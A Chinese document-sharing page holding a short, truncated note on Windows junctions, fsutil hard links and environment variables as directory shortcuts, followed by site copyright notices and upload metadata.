junction LinkDirect ExistDirect 如 junction c:\link d:\video,这样link就是video的软链接了,不过需要下载插件,很不爽! 硬链接 fsutil hardlink create NewFileName ExistingFileName 如 fsutil hardlink create C:\linkVideoA.avi D:\video\a.avi ,这样linkVideoA就是a.avi的硬链接了,注意的是扩展名一定要一样,否则默认打开时会调用别的程序。因为软链接是基于路径而应链接是基于节点的,所以硬链接不可以用于目录,只能用于文件,还会占用和原文件一样大小的空间,所以感觉类似于copy了,无语…… 所以感觉定义环境变量的方法可能好一些: > set LINK_VIDEO=D:\video\ 使用的时候直接用 %LINK_VIDEO% 就OK了,如copy a.avi %LINK_VIDEO%a.
本文档为【WIDOWS环境变量】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_730903
暂无简介~
格式:doc
大小:270KB
软件:Word
页数:23
分类:互联网
上传时间:2011-06-05
浏览量:14